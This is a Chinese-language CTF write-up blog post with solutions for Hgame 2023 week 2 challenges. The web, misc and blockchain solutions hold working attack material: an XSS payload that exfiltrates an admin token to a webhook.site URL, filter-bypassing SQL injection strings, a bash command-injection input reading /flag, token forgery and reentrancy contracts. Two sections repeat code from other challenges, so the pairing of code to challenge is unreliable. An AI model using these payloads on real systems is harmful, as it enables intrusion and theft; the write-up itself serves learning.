本文最后更新于 347 天前,其中的信息可能已经有所发展或是发生改变。
Hgame: week2
Rank:
School | All |
---|---|
1 | 13 |
Hgame 2023
Rank:
School | All |
---|---|
1 | 14 |
可恶,没能ak WEB,sql 实在没看懂,也没花很多精力
Web
Git Leakage
题解
- githack
V2board
题解
Designer
题解
- 分析源码,要求为
username=admin
ip=127.0.0.1
,可以通过save
来让服务器访问,在访问部署攻击的网站前还需要先去register
,fetch
构造post
请求,以admin
去生成一个token
;\"><script>eval(\"fet\"+\"ch(\\\"/user/register\\\", {\\\"method\\\":\\\"POST\\\",\\\"body\\\":{\\\"username\\\":\\\"admin\\\"}}).then((respo\"+\"nse)=>respo\"+\"nse.jso\"+\"n()).then(functio\"+\"n(respo\"+\"nse){fe\"+\"tch(\\\"https://webhook.site/cb3f84a6-2245-4654-8463-a861d2ca44af/\\\"+respo\"+\"nse[\\\"token\\\"])});\");</script>
Search Commodity
题解
- 弱密码
- sql 注入,过滤了一些关键词,但是大小写敏感,过滤空格和
/**/
,双写绕过,过滤等号,用 like 绕过
0/*/**/*/UNION/*/**/*/SELECT/*/**/*/1,2,3
/* 2 3 */
0/*/**/*/UNION/*/**/*/SELECT/*/**/*/1,DATABASE(),3
/* se4rch 3 */
0/*/**/*/UNION/*/**/*/SELECT/*/**/*/1,(SELECT/*/**/*/GROUP_CONCAT(TABLE_NAME)/*/**/*/FROM/*/**/*/INFORMATION_SCHEMA.TABLES/*/**/*/WHERE/*/**/*/TABLE_SCHEMA/*/**/*/LIKE/*/**/*/DATABASE()),3
/* 5ecret15here,L1st,user1nf0 3 */
0/*/**/*/UNION/*/**/*/SELECT/*/**/*/1,(SELECT/*/**/*/GROUP_CONCAT(COLUMN_NAME)/*/**/*/FROM/*/**/*/INFORMATION_SCHEMA.COLUMNS/*/**/*/WHERE/*/**/*/TABLE_SCHEMA/*/**/*/LIKE/*/**/*/DATABASE()),3
/* f14gggg1shere,id,name,number,id,u5ern4me,p4ssw0rd 3 */
0/*/**/*/UNION/*/**/*/SELECT/*/**/*/1,(SELECT/*/**/*/f14gggg1shere/*/**/*/FROM/*/**/*/5ecret15here),3
/* hgame{4_M4n_WH0_Kn0ws_We4k-P4ssW0rd_And_SQL!} 3 */
Crypto
Rabin
题解
- exp
from Crypto.Util.number import *
import gmpy2
p = 65428327184555679690730137432886407240184329534772421373193521144693375074983
q = 98570810268705084987524975482323456006480531917292601799256241458681800554123
c = 0x4e072f435cbffbd3520a283b3944ac988b98fb19e723d1bd02ad7e58d9f01b26d622edea5ee538b2f603d5bf785b0427de27ad5c76c656dbd9435d3a4a7cf556
e = 2
n = p * q
mp = pow(c, (p + 1) // 4, p)
mq = pow(c, (q + 1) // 4, q)
yp = gmpy2.invert(p, q)
yq = gmpy2.invert(q, p)
r = (yp * p * mq + yq * q * mp) % n
rr = n - r
s = (yp * p * mq - yq * q * mp) % n
ss = n - s
for i in [r, rr, s, rr]:
print(long_to_bytes(i))
# hgame{That'5_s0_3asy_to_s@lve_r@bin}s
RSA大冒险
题解
- 分4个题目,RSA RSA++ 低指数 共模
challenge 1
分解因数:pubkey[0] // pubkey[2]
得到 p q
# m<n_But_also_m<p
challenge 2
先 pubkey 然后 encrypt 再 pubkey
求两次 p*q 的 gcd
用其中一次的 p q 求解
# make_all_modulus_independent
challenge 3
低指数攻击
import gmpy2
from Crypto.Util.number import *
def de(c, e, n):
k = 0
while True:
mm = c + n*k
result, flag = gmpy2.iroot(mm, e)
if True == flag:
return result
k += 1
e= 3
n=
c=
m=de(c,e,n)
print(long_to_bytes(m))
# encrypt_exponent_should_be_bigger
challenge 4
获取顺序: pubkey encrypt pubkey encrypt
共模攻击
import gmpy2
from Crypto.Util.number import long_to_bytes
e1 = 98911
e2 = 122099
n = 95048467482095047194913076481132162965250112913068812808848027402319725614813995098584762490966765657917174429652739462495760382099969326230762073171467755201990428927237663400477628823765429956962042870978196151009933065958581126995302573390078723690059805801261153097824043348480889858586169817262504654753
c1 = 0x1e1ed86e90f31b5827d3b975e3039592a90d64674c691f6d142482930a3e761cffbbe0bef10c1334939040d1e2c1ae4ffb2411d36533f9c8232f7d2b50dc7b9ea22bfac849e20fcbdae390710ce4d282c06ecf16c1d342c30e63c59d444943895e0361dea98bd74e7dccda48e79fe8cd712cb6352a2aa72a058b78082f9f9f06
c2 = 0x45b1ff36c4363240047c744dab838ca660d14a9434b30eea3eea0a90fd1292bda96ee5e536f0ff3a8335ed08d786082898f9a1a0315c6370f6f42fb9c4b880487a2c76bf49810aa277dfcf91641ec6940a8598c3ae53d1d0959c5ae187984fa124e4ee7b1c35cf8b39dddfa2747e4268f693ed0798802a737a7c0ce63514959c
_, r, s = gmpy2.gcdext(e1, e2)
m = pow(c1, r, n) * pow(c2, s, n) % n
print(long_to_bytes(m))
# never_uese_same_modulus
Bag
题解
- Wiki 中的描述
- bilibili 得讲解
- 计算可能得到 w
from z3 import *
m = 1528637222531038332958694965114330415773896571891017629493424
w = Int('w')
solve(w * 2 % m == m, w > 0, w < m)
# w = 34678303266662728260484388017365107292555268466494656568963
# w 两个值,但没差别
```
4. exp
```python
from gmpy2 import invert
c = 93602062133487361151420753057739397161734651609786598765462162
w1 = 34678303266662728260484388017365107292555268466494656568963
m = 1528637222531038332958694965114330415773896571891017629493424
_w = invert(w1, m)
_c = c * _w % m
d = ''
a = [2 << i for i in range(198)][::-1]
while _c >= 2 and len(a) >= 1:
if _c >= sum(a):
_c -= sum(a)
d += '1'
else:
d += '0'
a = a[1:]
print(d[::-1])
# 100100000110000100111011100110101111100110100011011100101111100110011011000010111001101111001010111110110001001100001001110010101111101101001011100110110111000110111010111110110100101110100001111110
- 补 0 然后爆破
from libnum import gcd, s2n
from string import printable
for x in printable:
for y in printable:
plain = f"{x}{y}'s_4n_3asy_ba9_isn7_it?"
v = bin(s2n(plain))[2:]
l = len(v)
a = [2 << i for i in range(l)]
m = 1528637222531038332958694965114330415773896571891017629493424
w = 34678303266662728260484388017365107292555268466494656568963
assert gcd(w, m) == 1
b = [w * i % m for i in a]
c = 0
for i in range(l):
c += b[i] * int(v[i])
if c == 93602062133487361151420753057739397161734651609786598765462162:
print(plain)
# 1t's_4n_3asy_ba9_isn7_it?
- 官方题解
零元购年货商店
题解
- 审计一下代码,要求购买flag时token解出的username要求是 Vidar-Tu,但是不可能注册一个 Vidar-Tu,要伪造token
func init() {
_, _ = rand.Read(key)
_, _ = rand.Read(iv)
}
func Encrypt(u string) (string, error) {
block, err := aes.NewCipher(key)
if err != nil {
return "", err
}
plainText := []byte(u)
blockMode := cipher.NewCTR(block, iv)
cipherText := make([]byte, len(plainText))
blockMode.XORKeyStream(cipherText, plainText)
return base64.StdEncoding.EncodeToString(cipherText), nil
}
- 在这部分代码中发现对于 token 的生成采用 AES.CTR 算法,并且存在 key iv 复用的情况,通过写代码获取 username = Vidar-Tu 的 token
- 生成
token
import base64
import time
from pwn import xor
from requests import Session
login = 'http://week-2.hgame.lwsec.cn:30543/login'
s = Session()
s.post(login, data={'username': 'Vidar-TU'})
created = round(time.time())
text1 = ('{"Name":"Vidar-TU","Created":' + str(created) + ',"Uid":"230555433"}').encode()
# 虽然不知道用没用,将两个明文的差别尽可能缩小,时间戳无所谓,没有相关校验
text2 = ('{"Name":"Vidar-Tu","Created":' + str(created) + ',"Uid":"230555433"}').encode()
text3 = base64.b64decode(s.cookies.get('token').replace('%3D', '='))
text4 = base64.b64encode(xor(text1, text2, text3))
print(text4.decode())
# lhIqIpkzHTAlnuvFwKbPneKFFov96RVsRRLMuIXwmjZhLBexg2Hnx1c%2BJluWtcwtkD6tqJmmzf4w3A%3D%3D
# 直接得到的结果中间的 %2B 变成了 2B,修正一下
- 抓包改token -> hgame{5o_Eas9_6yte_flip_@t7ack_wi4h_4ES-CTR}
Misc
Tetris Master
题解
- Ctrl-C 退出程序,非预期
Tetris Master
题解
- 在死后 score 不会归零,写脚本
from pyautogui import *
from time import sleep
for i in range(10):
print(f"计时: {i}")
sleep(1)
while True:
for i in range(12):
press('enter')
print(i, end=' ')
press('n')
sleep(0.1)
# hgame{Bash_Game^Also*Can#Rce^reVenge!!!!}
预期解
- bash命令执行,参考ByteCTF 2022 – bash_game,在读入
target
值进入paint_game_over()
内,比较时[[]]
操作符会造成RCE
paint_game_over() {
local xcent=$((`tput lines`/2)) ycent=$((`tput cols`/2))
local x=$((xcent-4)) y=$((ycent-25))
for (( i = 0; i < 10; i++ )); do
echo -ne "\033[$((x+i));${y}H\033[44m${good_game[$i]}\033[0m";
done
if [[ "$master" -eq "y" ]] && [[ "$score" -gt 50000 ]]; then
echo -ne "\033[$((x+3));$((ycent+1))H\033[44m`cat /flag`\033[0m";
elif [[ "$master" -ne "y" ]] && [[ "$score" -gt "$target" ]]; then
echo -ne "\033[$((x+3));;$((ycent+1))H\033[44mKeep Going\033[0m"
else
echo -ne "\033[$((x+3));$((ycent+1))H\033[44m${score}\033[0m";
fi
}
-
r[$(cat /flag)]
Sign in pro max
题解
- part1 base64 58 32; part2 md5; part3 sha1; part4 sha256; part5 凯撒
- 按照 uuid 生成的格式补齐
Crazy qrcode
题解
- 掩码错误,选择正确的掩码,正确的应为
mask pattern 4
- https://merricx.github.io/qrazybox/
- 解压缩拼一下,文本把文件的内容应该是旋转的角度
Reverse
Stream
题解
- pyinstaller 反编译:pyinstxtractor stream.exe> stream.pyc > stream.py
#!/usr/bin/env python
# visit https://tool.lu/pyc/ for more information
# Version: Python 3.10
import base64
def gen(key):
s = list(range(256))
j = 0
for i in range(256):
j = (j + s[i] + ord(key[i % len(key)])) % 256
tmp = s[i]
s[i] = s[j]
s[j] = tmp
i = j = 0
data = []
for _ in range(50):
i = (i + 1) % 256
j = (j + s[i]) % 256
tmp = s[i]
s[i] = s[j]
s[j] = tmp
data.append(s[(s[i] + s[j]) % 256])
return data
def encrypt(text, key):
result = ''
for c, k in zip(text, gen(key)):
result += chr(ord(c) ^ k)
result = base64.b64encode(result.encode()).decode()
return result
text = input('Flag: ')
key = 'As_we_do_as_you_know'
enc = encrypt(text, key)
if enc == 'wr3ClVcSw7nCmMOcHcKgacOtMkvDjxZ6asKWw4nChMK8IsK7KMOOasOrdgbDlx3DqcKqwr0hw701Ly57w63CtcOl':
print('yes!')
return None
None('try again...')
- 爆破脚本
import base64
from string import printable as p
def gen(key):
s = list(range(256))
j = 0
for i in range(256):
j = (j + s[i] + ord(key[i % len(key)])) % 256
tmp = s[i]
s[i] = s[j]
s[j] = tmp
i = j = 0
data = []
for _ in range(50):
i = (i + 1) % 256
j = (j + s[i]) % 256
tmp = s[i]
s[i] = s[j]
s[j] = tmp
data.append(s[(s[i] + s[j]) % 256])
return data
def encrypt(text, key):
result = ''
for c, k in zip(text, gen(key)):
result += chr(ord(c) ^ k)
result = result.encode()
return result
decoded = base64.b64decode('wr3ClVcSw7nCmMOcHcKgacOtMkvDjxZ6asKWw4nChMK8IsK7KMOOasOrdgbDlx3DqcKqwr0hw701Ly57w63CtcOl')
decoded = ' '.join([str(i) for i in list(decoded)])
# print(decoded)
text = 'hgame{'
key = 'As_we_do_as_you_know'
while not text.endswith('}'):
for y in p:
test = ' '.join([str(i) for i in list(encrypt(text + y, key=key))]) + ' '
if decoded.startswith(test):
text += y
print(text)
# hgame{python_reverse_is_easy_with_internet}
Math
题解
- Solve
import base64
from string import printable as p
def gen(key):
s = list(range(256))
j = 0
for i in range(256):
j = (j + s[i] + ord(key[i % len(key)])) % 256
tmp = s[i]
s[i] = s[j]
s[j] = tmp
i = j = 0
data = []
for _ in range(50):
i = (i + 1) % 256
j = (j + s[i]) % 256
tmp = s[i]
s[i] = s[j]
s[j] = tmp
data.append(s[(s[i] + s[j]) % 256])
return data
def encrypt(text, key):
result = ''
for c, k in zip(text, gen(key)):
result += chr(ord(c) ^ k)
result = result.encode()
return result
decoded = base64.b64decode('wr3ClVcSw7nCmMOcHcKgacOtMkvDjxZ6asKWw4nChMK8IsK7KMOOasOrdgbDlx3DqcKqwr0hw701Ly57w63CtcOl')
decoded = ' '.join([str(i) for i in list(decoded)])
# print(decoded)
text = 'hgame{'
key = 'As_we_do_as_you_know'
while not text.endswith('}'):
for y in p:
test = ' '.join([str(i) for i in list(encrypt(text + y, key=key))]) + ' '
if decoded.startswith(test):
text += y
print(text)
# hgame{python_reverse_is_easy_with_internet}
VidarCamera
题解
Before main
题解
- 两张
base64
表
true: qaCpwYM2tO/RP0XeSZv8kLd6nfA7UHJ1No4gF5zr3VsBQbl9juhEGymc+WTxIiDK
false: 0CxWsOemvJq4zdk2V6QlArj9wnHbt1NfEX/+3DhyPoBRLY8pK5FciZau7UMIgTSG
- 换表
Iot
Pirated router
题解
- 路由器固件文件,kali 自带的不完整,在 ubuntu 上重装一个
- 在 bin 中发现文件 secret_program,IDA 查看逻辑
a = [75, 68, 66, 78, 70, 88, 86, 77, 83, 23, 64, 72, 18, 77, 68, 124, 69, 74, 81, 78, 84, 66, 81, 70, 124, 18, 80, 124, 16, 98, 80, 90]
a = [i ^ 35 for i in a]
print(''.join([chr(i) for i in a]))
# hgame{unp4ck1ng_firmware_1s_3Asy}
Priated Keyboard
题解
- 分离键盘流量
f = open('usb.txt', 'r')
fi = open('out.txt', 'w')
while True:
a = f.readline().strip()
if a:
if len(a) == 16: # 键盘流量len=16,鼠标流量len=8
out = ''
for i in range(0, len(a), 2):
if i + 2 != len(a):
out += a[i] + a[i + 1] + ":"
else:
out += a[i] + a[i + 1]
fi.write(out)
fi.write('\n')
else:
break
fi.close()
normalKeys = {
"04": "a", "05": "b", "06": "c", "07": "d", "08": "e",
"09": "f", "0a": "g", "0b": "h", "0c": "i", "0d": "j",
"0e": "k", "0f": "l", "10": "m", "11": "n", "12": "o",
"13": "p", "14": "q", "15": "r", "16": "s", "17": "t",
"18": "u", "19": "v", "1a": "w", "1b": "x", "1c": "y",
"1d": "z", "1e": "1", "1f": "2", "20": "3", "21": "4",
"22": "5", "23": "6", "24": "7", "25": "8", "26": "9",
"27": "0", "28": "<RET>", "29": "<ESC>", "2a": "<DEL>", "2b": "\t",
"2c": "<SPACE>", "2d": "-", "2e": "=", "2f": "[", "30": "]", "31": "\\",
"32": "<NON>", "33": ";", "34": "'", "35": "<GA>", "36": ",", "37": ".",
"38": "/", "39": "<CAP>", "3a": "<F1>", "3b": "<F2>", "3c": "<F3>", "3d": "<F4>",
"3e": "<F5>", "3f": "<F6>", "40": "<F7>", "41": "<F8>", "42": "<F9>", "43": "<F10>",
"44": "<F11>", "45": "<F12>"}
shiftKeys = {
"04": "A", "05": "B", "06": "C", "07": "D", "08": "E",
"09": "F", "0a": "G", "0b": "I", "0c": "H", "0d": "J",
"0e": "K", "0f": "L", "10": "M", "11": "N", "12": "O",
"13": "P", "14": "Q", "15": "R", "16": "S", "17": "T",
"18": "U", "19": "V", "1a": "W", "1b": "X", "1c": "Y",
"1d": "Z", "1e": "!", "1f": "@", "20": "#", "21": "$",
"22": "%", "23": "^", "24": "&", "25": "*", "26": "(", "27": ")",
"28": "<RET>", "29": "<ESC>", "2a": "<DEL>", "2b": "\t", "2c": "<SPACE>",
"2d": "_", "2e": "+", "2f": "{", "30": "}", "31": "|", "32": "<NON>", "33": "\"",
"34": ":", "35": "<GA>", "36": "<", "37": ">", "38": "?", "39": "<CAP>", "3a": "<F1>",
"3b": "<F2>", "3c": "<F3>", "3d": "<F4>", "3e": "<F5>", "3f": "<F6>", "40": "<F7>",
"41": "<F8>", "42": "<F9>", "43": "<F10>", "44": "<F11>", "45": "<F12>"}
output = []
keys = open('usb2.txt')
for line in keys:
try:
if line[0] != '0' or (line[1] != '0' and line[1] != '2') or line[3] != '0' or line[4] != '0' or line[9] != '0' or line[10] != '0' or line[12] != '0' or line[
13] != '0' or line[15] != '0' or line[16] != '0' or line[18] != '0' or line[19] != '0' or line[21] != '0' or line[22] != '0' or line[6:8] == "00":
continue
if line[6:8] in normalKeys.keys():
output += [[normalKeys[line[6:8]]],
[shiftKeys[line[6:8]]]][line[1] == '2']
else:
output += ['[unknown]']
except BaseException:
pass
keys.close()
flag = 0
print("".join(output))
for i in range(len(output)):
try:
a = output.index('<DEL>')
del output[a]
del output[a - 1]
except BaseException:
pass
for i in range(len(output)):
try:
if output[i] == "<CAP>":
flag += 1
output.pop(i)
if flag == 2:
flag = 0
if flag != 0:
output[i] = output[i].upper()
except BaseException:
pass
print('output :' + "".join(output))
# zihiui_NB_666}
- 与原仓库对别一下差别,将字母修正一下
- 在 SCH_HelloWord-TouchBar_2022-07-31.pdf 中发现前半段flag
Blockchain
VidarBank
题解
- 重入攻击
contract attack {
VidarBank public victim;
constructor (address _addr){
victim = VidarBank(_addr);
}
fallback() external payable {
if(victim.balances(address(this)) < 30){
victim.donateOnce();
}
}
function exploit() public payable {
victim.newAccount{value: 0.001 ether}();
victim.donateOnce();
victim.isSolved();
}
}
Transfer
题解
- self destruct 自毁强制转账
contract attack {
VidarBank public victim;
constructor (address _addr){
victim = VidarBank(_addr);
}
fallback() external payable {
if(victim.balances(address(this)) < 30){
victim.donateOnce();
}
}
function exploit() public payable {
victim.newAccount{value: 0.001 ether}();
victim.donateOnce();
victim.isSolved();
}
}